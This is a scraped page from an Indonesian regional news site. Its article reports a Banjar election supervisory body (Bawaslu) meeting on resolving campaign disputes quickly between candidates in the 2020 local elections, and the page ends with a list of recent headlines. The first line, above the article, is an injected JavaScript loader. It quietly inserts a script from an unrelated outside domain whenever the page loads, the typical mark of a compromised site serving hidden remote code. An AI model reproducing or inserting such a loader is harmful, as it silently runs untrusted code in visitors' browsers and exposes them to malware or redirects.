(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PILKADA BANJAR

Bawaslu Banjar Gelar Rakor Penyelesaian Sengketa Acara Cepat


KANALKALIMANTAN.COM, MARTAPURA – Masa kampanye sejak 26 September hingga 5 Desember 2020 bisa menimbulkan gesekan antar peserta. Penyelesaian sengketa acara cepat dianggap sebagai metode dalam menyelesaikan masalah antar peserta pemilihan, sesuai peraturan Bawaslu nomor 2 tahun 2020 tentang tata cara penyelesaian sengketa Pilkada.

Selain mengatur tentang tata cara penyelesaian sengketa antara penyelenggara dengan peserta pemilihan, ada hal baru yang diatur yakni penyelesaian sengketa antar peserta pemilihan dengan metode penyelesaian sengketa acara cepat.

Penyelesaian sengketa acara cepat merupakan domain Panwas Kecamatan yang mana mereka diharapkan mampu menyelesaikan masalah di antara peserta pemilihan pada masa kampanye.

Ramliannoor, Divisi Penyelesaian Sengketa Bawaslu Kabupaten Banjar, saat acara rapat kordinasi penyelesaian sengketa antar peserta, Panwascam bersama stakeholder, Sabtu (7/11/2020), permasalahan penyelesaian sengketa ini adalah Alat Peraga Kampanya (APK).

Diantaranya ada dua kecamatan yakni Kecamatan Paramasan dan Kecamatan Martapura Timur yang melaporkan ke Bawaslu Kabupaten Banjar, tetapi tidak melengkapi berkas administrasi.

“Ada dua kecamatan dalam pengawasan ini tidak melakukan secara administrasi, hanya antar tim pemenangan dan Panwascam, tetapi tidak melakukan pengisian pelaporan secara administrasi,” katanya.

Ia menjelaskan terjadinya hal seperti tidak melaksanakan administrasi kemungkinan ketidaktahuan atau paham tentang penyelesaian sengketa acara cepat.

Dalam acara rapat kordinasi Bawaslu Banjar ini membahas kembali pengertian tugas secara struktural dan materi penjelasan cara penyelesaian acara cepat sengketa antar peserta.

“Hendaknya masalah dapat diselesaikan dengan metode penyelesaian sengketa acara cepat, dan peserta pemilihan sebaiknya tidak menempuh jalur pelanggaran yang berujung pada pemberian sanksi kepada salah satu peserta,” terang Koordinator Divisi Penyelesaian Sengketa Bawaslu Banjar ini.(kanalkalimantan.com/putra)

 

Reporter: Putra
Editor : Bie


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

6 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

7 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

7 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

7 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

8 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

11 jam ago

This website uses cookies.